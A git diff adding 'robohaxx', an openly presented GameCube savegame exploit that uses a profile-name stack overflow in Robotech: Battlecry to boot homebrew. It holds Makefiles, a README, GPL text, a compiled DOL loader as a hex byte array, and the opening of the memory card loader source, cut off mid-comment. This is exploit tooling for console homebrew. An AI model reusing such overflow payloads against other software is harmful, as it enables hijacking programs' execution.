diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0181592 --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +# payload artifacts +*.bin +*.elf +*.o +*.gci +# executable artifacts +*.exe +gci_builder +*.dSYM +# other stuff +*.zip diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d159169 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..7b4796e --- /dev/null +++ b/Makefile @@ -0,0 +1,29 @@ +GCIBUILDER := gci_builder +ifeq ($(OS),Windows_NT) + GCIBUILDER := $(addsuffix .exe,$(GCIBUILDER)) +endif + +PAYLOAD_DIR := gc_payload +GCI_BUILDER_DIR := gci_builder_src + +.PHONY: $(GCIBUILDER) payload_bins eur usa clean +all: eur usa + +$(GCIBUILDER): + @$(MAKE) -C $(GCI_BUILDER_DIR) + @cp $(GCI_BUILDER_DIR)/$(GCIBUILDER) $(GCIBUILDER) + +payload_bins: + @$(MAKE) -C $(PAYLOAD_DIR) + +eur: payload_bins $(GCIBUILDER) + @./$(GCIBUILDER) $(PAYLOAD_DIR)/robohaxx-EUR.bin E + +usa: payload_bins $(GCIBUILDER) + @./$(GCIBUILDER) $(PAYLOAD_DIR)/robohaxx-USA.bin U + +clean: + @$(MAKE) -C $(PAYLOAD_DIR) clean + @$(MAKE) -C $(GCI_BUILDER_DIR) clean + @-rm $(GCIBUILDER) + @-rm *.gci diff --git a/README.md b/README.md new file mode 100644 index 0000000..d8f7095 --- /dev/null +++ b/README.md @@ -0,0 +1,45 @@ +# robohaxx: stackcry + +A savegame exploit / homebrew entrypoint for the game Robotech: Battlecry on the GameCube. + +Compatible with both USA and EUR revisions of the game. (Only USA has been tested on real GC hardware.) + +["it's a stack overflow in the profile name on a 6th gen console game"](https://tenor.com/view/buzz-lightyear-factory-you-will-never-find-another-store-shelf-a-bunch-of-buzz-lightyears-gif-21719996) (Tenor GIF link) + +## How to Use + +1. Copy the .gci file for your region from [the robohaxx releases page](https://github.com/InvoxiPlayGames/robohaxx/releases) + to your Memory Card using [GCMM](https://github.com/suloku/gcmm/releases). + * While you're here, make sure you have the latest Swiss boot GCI, too. (Or any other boot.dol.) + * Ensure there are **NO** other savegames for Robotech: Battlecry on the memory card. +2. Launch Robotech: Battlecry. +3. At the main menu, select the "Load Game" option. +4. Afetr a few seconds, Swiss (or any other homebrew) *should* load! + +## Credits + +Thank you to [FIX94](https://github.com/FIX94) for the gc-exploit-common-loader DOL loader, and for +example code for memory card loaders in other GC savegame exploits. + +Thanks to [Essem](https://github.com/TheEssem) for testing on real hardware, and being the inspiration behind this +[by just wanting a way to launch Swiss that isn't Animal Crossing.](https://wetdry.world/@esm/110792836912696997) + +## Building from Source + +The source has two components, the memory card loader and the GCI builder. The memory card loader will +build if you have devkitPPC installed (although any powerpc-eabi GCC will work, change the Makefile). + +The GCI builder should build on any macOS/Linux system, and should be fine building under MingW64 on Windows. + +The Makefile in the root of the repository will compile the memcard loader for EUR and USA regions, +compile the GCI builder, and then build the robohaxx GCI savefiles. Type `make` at a terminal. + +If you only want to build for a specific region, type `make usa` or `make eur`. + +## License + +The memory card loader and GCI builder are licensed under the GNU General Public License version 2. See attached +LICENSE file for more details. + +This chain uses FIX94's [gc-exploit-common-loader](https://github.com/FIX94/gc-exploit-common-loader), also licensed +under GPLv2. diff --git a/gc_payload/Makefile b/gc_payload/Makefile new file mode 100644 index 0000000..63e7e3a --- /dev/null +++ b/gc_payload/Makefile @@ -0,0 +1,49 @@ +# What toolchain prefix should we use +# Most people who want to build this will have failkit already +CROSS ?= $(DEVKITPPC)/bin/powerpc-eabi- + +# Set CC, LD, OBJCOPY based on CROSS, unless they are set already +ifeq ($(origin CC), default) + CC := $(CROSS)gcc -m32 +endif +ifeq ($(origin LD), default) + LD := $(CROSS)ld +endif +OBJCOPY ?= $(CROSS)objcopy + +CFLAGS := -Wall -W -O1 -ffreestanding -mno-eabi -mno-sdata -fno-asynchronous-unwind-tables -mcpu=750 +Q := + +SOURCES := memcard_loader.c +OBJS := $(SOURCES:.c=.o) + +.PHONY: usa eur +all: usa eur + +usa: robohaxx-USA.bin + +eur: robohaxx-EUR.bin + +robohaxx-USA.bin: robohaxx-USA.elf + @echo " OBJCOPY $@" + $(Q)$(OBJCOPY) -Obinary $< $@ + +robohaxx-USA.elf: $(OBJS) + @echo " LINK $@" + $(Q)$(LD) -T robohaxx-USA.ld $^ -o $@ + +robohaxx-EUR.bin: robohaxx-EUR.elf + @echo " OBJCOPY $@" + $(Q)$(OBJCOPY) -Obinary $< $@ + +robohaxx-EUR.elf: $(OBJS) + @echo " LINK $@" + $(Q)$(LD) -T robohaxx-EUR.ld $^ -o $@ + +$(OBJS): $(SOURCES) + @echo " COMPILE $@" + $(Q)$(CC) $(CFLAGS) -c $< -o $@ + +clean: + @echo " CLEAN" + @-rm -f $(OBJS) robohaxx-EUR.elf robohaxx-EUR.bin robohaxx-USA.elf robohaxx-USA.bin diff --git a/gc_payload/loader.h b/gc_payload/loader.h new file mode 100644 index 0000000..56d8382 --- /dev/null +++ b/gc_payload/loader.h @@ -0,0 +1,87 @@ +/* + Compiled version of FIX94's gc-exploit-common-loader DOL loading code. + Source code is included within "loader.tar.gz". Also available on GitHub: + https://github.com/FIX94/gc-exploit-common-loader + Licensed under the GNU GPL version 2: http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt +*/ + +#define loader_size 0x4bc + +const unsigned char loader[] = { + 0x7C, 0x60, 0x00, 0xA6, 0x54, 0x63, 0x04, 0x5E, 0x60, 0x63, 0x20, 0x00, 0x7C, 0x60, 0x01, 0x24, + 0x4C, 0x00, 0x01, 0x2C, 0x3C, 0x20, 0x80, 0x00, 0x38, 0x21, 0x26, 0xC0, 0x38, 0x00, 0x00, 0x00, + 0x94, 0x01, 0xFF, 0xC0, 0x3C, 0x60, 0x80, 0x00, 0x38, 0x63, 0x1C, 0xBC, 0x38, 0x80, 0x00, 0x00, + 0x3C, 0xA0, 0x80, 0x00, 0x38, 0xA5, 0x1E, 0xC0, 0x7C, 0xA3, 0x28, 0x50, 0x48, 0x00, 0x00, 0xAD, + 0x48, 0x00, 0x02, 0xB0, 0x39, 0x44, 0x00, 0x1F, 0x7D, 0x4A, 0x1A, 0x14, 0x55, 0x4A, 0x00, 0x34, + 0x54, 0x69, 0x00, 0x34, 0x7D, 0x29, 0x50, 0x50, 0x55, 0x29, 0xD9, 0x7F, 0x41, 0x82, 0x00, 0x1C, + 0x7D, 0x29, 0x03, 0xA6, 0x7C, 0x00, 0x18, 0x6C, 0x7C, 0x00, 0x1F, 0xAC, 0x38, 0x63, 0x00, 0x20, + 0x39, 0x29, 0xFF, 0xFF, 0x42, 0x00, 0xFF, 0xF0, 0x7C, 0x00, 0x04, 0xAC, 0x4C, 0x00, 0x01, 0x2C, + 0x4E, 0x80, 0x00, 0x20, 0x54, 0x8A, 0x84, 0x3E, 0x3D, 0x20, 0xCC, 0x00, 0x61, 0x29, 0x50, 0x20, + 0xB1, 0x49, 0x00, 0x00, 0x39, 0x29, 0x00, 0x02, 0xB0, 0x89, 0x00, 0x00, 0x54, 0xAA, 0x84, 0x3E, + 0x39, 0x29, 0x00, 0x02, 0xB1, 0x49, 0x00, 0x00, 0x39, 0x29, 0x00, 0x02, 0xB0, 0xA9, 0x00, 0x00, + 0x54, 0x63, 0x78, 0x20, 0x54, 0xC9, 0x84, 0x3E, 0x7C, 0x63, 0x4B, 0x78, 0x3D, 0x20, 0xCC, 0x00, + 0x61, 0x29, 0x50, 0x28, 0xB0, 0x69, 0x00, 0x00, 0x39, 0x29, 0x00, 0x02, 0xB0, 0xC9, 0x00, 0x00, + 0x3D, 0x40, 0xCC, 0x00, 0x61, 0x4A, 0x50, 0x0A, 0xA1, 0x2A, 0x00, 0x00, 0x71, 0x29, 0x02, 0x00, + 0x40, 0x82, 0xFF, 0xF8, 0x4E, 0x80, 0x00, 0x20, 0x2C, 0x05, 0x00, 0x00, 0x4D, 0x82, 0x00, 0x20, + 0x39, 0x23, 0xFF, 0xFF, 0x7C, 0xA9, 0x03, 0xA6, 0x9C, 0x89, 0x00, 0x01, 0x38, 0xA5, 0xFF, 0xFF, + 0x42, 0x00, 0xFF, 0xF8, 0x4E, 0x80, 0x00, 0x20, 0x2C, 0x05, 0x00, 0x00, 0x4D, 0x82, 0x00, 0x20, + 0x38, 0x84, 0xFF, 0xFF, 0x39, 0x23, 0xFF, 0xFF, 0x7C, 0xA9, 0x03, 0xA6, 0x8D, 0x44, 0x00, 0x01, + 0x9D, 0x49, 0x00, 0x01, 0x38, 0xA5, 0xFF, 0xFF, 0x42, 0x00, 0xFF, 0xF4, 0x4E, 0x80, 0x00, 0x20, + 0x94, 0x21, 0xFF, 0xD0, 0x7C, 0x08, 0x02, 0xA6, 0x90, 0x01, 0x00, 0x34, 0x7D, 0x80, 0x00, 0x26, + 0x93, 0x61, 0x00, 0x1C, 0x93, 0x81, 0x00, 0x20, 0x93, 0xA1, 0x00, 0x24, 0x93, 0xC1, 0x00, 0x28, + 0x93, 0xE1, 0x00, 0x2C, 0x91, 0x81, 0x00, 0x0C, 0x7C, 0x7D, 0x1B, 0x78, 0x7C, 0x9E, 0x23, 0x78, + 0x54, 0xBC, 0x00, 0x2C, 0x70, 0xBB, 0x01, 0xFF, 0x40, 0x82, 0x00, 0x40, 0x2C, 0x1E, 0x00, 0x00, + 0x41, 0x82, 0x01, 0x54, 0x93, 0x01, 0x00, 0x10, 0x93, 0x21, 0x00, 0x14, 0x93, 0x41, 0x00, 0x18, + 0x3F, 0x40, 0x80, 0x00, 0x3B, 0x5A, 0x1C, 0xC0, 0x3B, 0x7A, 0x02, 0x1F, 0x57, 0x7B, 0x00, 0x34, + 0x7F, 0x7A, 0xD8, 0x50, 0x57, 0x7B, 0xD9, 0x7E, 0x2E, 0x1B, 0x00, 0x00, 0x3F, 0x00, 0x80, 0x00, + 0x7F, 0x59, 0xD3, 0x78, 0x48, 0x00, 0x00, 0xC8, 0x7C, 0xBF, 0x2B, 0x78, 0x3C, 0x80, 0x80, 0x00, + 0x38, 0x84, 0x1C, 0xC0, 0x39, 0x44, 0x02, 0x1F, 0x55, 0x4A, 0x00, 0x34, 0x7D, 0x44, 0x50, 0x50, + 0x55, 0x4A, 0xD9, 0x7F, 0x41, 0x82, 0x00, 0x1C, 0x7C, 0x89, 0x23, 0x78, 0x7D, 0x49, 0x03, 0xA6, + 0x7C, 0x00, 0x48, 0xAC, 0x39, 0x29, 0x00, 0x20, 0x39, 0x4A, 0xFF, 0xFF, 0x42, 0x00, 0xFF, 0xF4, + 0x7C, 0x00, 0x04, 0xAC, 0x38, 0xC0, 0x02, 0x00, 0x7F, 0x85, 0xE3, 0x78, 0x38, 0x60, 0x00, 0x01, + 0x4B, 0xFF, 0xFE, 0x95, 0x7F, 0xC9, 0xF3, 0x78, 0x28, 0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94, + 0x3B, 0xE0, 0x02, 0x00, 0x4B, 0xFF, 0xFF, 0x8C, 0x83, 0x01, 0x00, 0x10, 0x83, 0x21, 0x00, 0x14, + 0x83, 0x41, 0x00, 0x18, 0x80, 0x01, 0x00, 0x34, 0x81, 0x81, 0x00, 0x0C, 0x7C, 0x08, 0x03, 0xA6, + 0x83, 0x61, 0x00, 0x1C, 0x83, 0x81, 0x00, 0x20, 0x83, 0xA1, 0x00, 0x24, 0x83, 0xC1, 0x00, 0x28, + 0x83, 0xE1, 0x00, 0x2C, 0x7D, 0x80, 0x81, 0x20, 0x38, 0x21, 0x00, 0x30, 0x4E, 0x80, 0x00, 0x20, + 0x94, 0x21, 0xFE, 0xF0, 0x7C, 0x08, 0x02, 0xA6, 0x90, 0x01, 0x01, 0x14, 0x93, 0xA1, 0x01, 0x04, + 0x93, 0xC1, 0x01, 0x08, 0x93, 0xE1, 0x01, 0x0C, 0x3C, 0x80, 0x80, 0x00, 0x38, 0x84, 0x1C, 0xC0, + 0x39, 0x44, 0x02, 0x1F, 0x55, 0x4A, 0x00, 0x34, 0x7D, 0x44, 0x50, 0x50, 0x55, 0x4A, 0xD9, 0x7F, + 0x41, 0x82, 0x00, 0x1C, 0x7C, 0x89, 0x23, 0x78, 0x7D, 0x49, 0x03, 0xA6, 0x7C, 0x00, 0x48, 0xAC, + 0x39, 0x29, 0x00, 0x20, 0x39, 0x4A, 0xFF, 0xFF, 0x42, 0x00, 0xFF, 0xF4, 0x7C, 0x00, 0x04, 0xAC, + 0x38, 0xC0, 0x02, 0x00, 0x38, 0xA0, 0x00, 0x00, 0x38, 0x60, 0x00, 0x01, 0x4B, 0xFF, 0xFD, 0x39, + 0x38, 0xA0, 0x00, 0xE4, 0x3C, 0x80, 0x80, 0x00, 0x38, 0x84, 0x1C, 0xC0, 0x38, 0x61, 0x00, 0x08, + 0x4B, 0xFF, 0xFD, 0xA9, 0x3B, 0xE1, 0x00, 0x08, 0x7F, 0xFE, 0xFB, 0x78, 0x3B, 0xA0, 0x00, 0x07, + 0x48, 0x00, 0x00, 0x10, 0x3B, 0xDE, 0x00, 0x04, 0x37, 0xBD, 0xFF, 0xFF, 0x41, 0x82, 0x00, 0x28, + 0x80, 0x9E, 0x00, 0x90, 0x2C, 0x04, 0x00, 0x00, 0x41, 0xA2, 0xFF, 0xEC, 0x80, 0x7E, 0x00, 0x48, + 0x28, 0x03, 0x00, 0xFF, 0x40, 0xA1, 0xFF, 0xE0, 0x80, 0xBE, 0x00, 0x00, 0x4B, 0xFF, 0xFD, 0x95, + 0x4B, 0xFF, 0xFF, 0xD4, 0x3B, 0xC0, 0x00, 0x0B, 0x48, 0x00, 0x00, 0x10, 0x3B, 0xFF, 0x00, 0x04, + 0x37, 0xDE, 0xFF, 0xFF, 0x41, 0x82, 0x00, 0x28, 0x80, 0x9F, 0x00, 0xAC, 0x2C, 0x04, 0x00, 0x00, + 0x41, 0xA2, 0xFF, 0xEC, 0x80, 0x7F, 0x00, 0x64, 0x28, 0x03, 0x00, 0xFF, 0x40, 0xA1, 0xFF, 0xE0, + 0x80, 0xBF, 0x00, 0x1C, 0x4B, 0xFF, 0xFD, 0x5D, 0x4B, 0xFF, 0xFF, 0xD4, 0x81, 0x21, 0x00, 0xE8, + 0x7D, 0x28, 0x03, 0xA6, 0x4E, 0x80, 0x00, 0x20, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x7A, 0x52, 0x00, 0x04, 0x7C, 0x41, 0x01, 0x1B, 0x0C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, + 0x00, 0x00, 0x00, 0x18, 0xFF, 0xFF, 0xFC, 0x40, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0xFF, 0xFF, 0xFC, 0x6C, 0x00, 0x00, 0x00, 0x64, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x40, 0xFF, 0xFF, 0xFC, 0xBC, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x54, + 0xFF, 0xFF, 0xFC, 0xC8, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, + 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFC, 0xDC, 0x00, 0x00, 0x01, 0xC0, 0x00, 0x41, 0x0E, 0x30, + 0x49, 0x11, 0x41, 0x7F, 0x9B, 0x05, 0x9C, 0x04, 0x9D, 0x03, 0x9E, 0x02, 0x9F, 0x01, 0x05, 0x46, + 0x09, 0x48, 0x0A, 0x98, 0x08, 0x41, 0x99, 0x07, 0x41, 0x9A, 0x06, 0x4A, 0x0B, 0x66, 0x98, 0x08, + 0x99, 0x07, 0x9A, 0x06, 0x5F, 0xD8, 0x41, 0xD9, 0x41, 0xDA, 0x42, 0x09, 0x46, 0x0C, 0x41, 0x06, + 0x41, 0x46, 0x06, 0x46, 0x41, 0xDF, 0xDE, 0xDD, 0xDC, 0xDB, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1C, + 0x00, 0x00, 0x00, 0xB8, 0xFF, 0xFF, 0xFE, 0x4C, 0x00, 0x00, 0x00, 0xF8, 0x00, 0x41, 0x0E, 0x90, + 0x02, 0x45, 0x11, 0x41, 0x7F, 0x9D, 0x03, 0x9E, 0x02, 0x9F, 0x01, 0x00 +}; diff --git a/gc_payload/loader.tar.gz b/gc_payload/loader.tar.gz new file mode 100644 index 0000000..c2c924c Binary files /dev/null and b/gc_payload/loader.tar.gz differ diff --git a/gc_payload/memcard_loader.c b/gc_payload/memcard_loader.c new file mode 100644 index 0000000..fbeb956 --- /dev/null +++ b/gc_payload/memcard_loader.c @@ -0,0 +1,109 @@ +/* + memcard_loader, a memory card boot.dol loader payload, for the robohaxx exploit + Copyright 2023 Emma / InvoxiPlayGames + This code is licensed to you under the terms of the GNU GPL, version 2; + see file LICENSE or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt +*/ + +#include "loader.h" + +#define WORK_ADDR 0x80001800 +#define VirtToPhys(x) (x & 0x017FFFFF) + +#define CARD_A 0 +#define CARD_B 1 + +typedef unsigned int u32; +typedef unsigned short u16; +typedef unsigned char u8; +typedef volatile unsigned int vu32; +typedef volatile unsigned short vu16; + +// structure for an opened file from the card +typedef struct _CARDFileInfo { + int channel; + int file_num; + int offset; + int length; + u16 block; +} CARDFileInfo; +// structure for the file status returned by CARDGetStatus +typedef struct _CARDFileStatus { + char name[0x20]; + int length; + char unk[0x2C]; +} CARDFileStatus; + +// funcs from the game that we need +extern u32 OSDisableInterrupts(void); +extern void __OSStopAudioSystem(void); +extern void GXDrawDone(void); +extern u32 DCFlushRange(void *address, u32 size); +extern int CARDGetStatus(int card, int file_num, CARDFileStatus *status); +extern int CARDFastOpen(int card, int file_num, CARDFileInfo *info); +extern int CARDRead(CARDFileInfo *info, void *address, int length, int offset); +extern int CARDClose(CARDFileInfo *info); +extern int CARDUnmount(int card); +extern void *_memcpy(void *dest, void *src, u32 size); +extern int _memcmp(void *buf1, void *buf2, u32 len); + +// DMA to ARAM, this is inlined just to make my life easier +// it's only used in 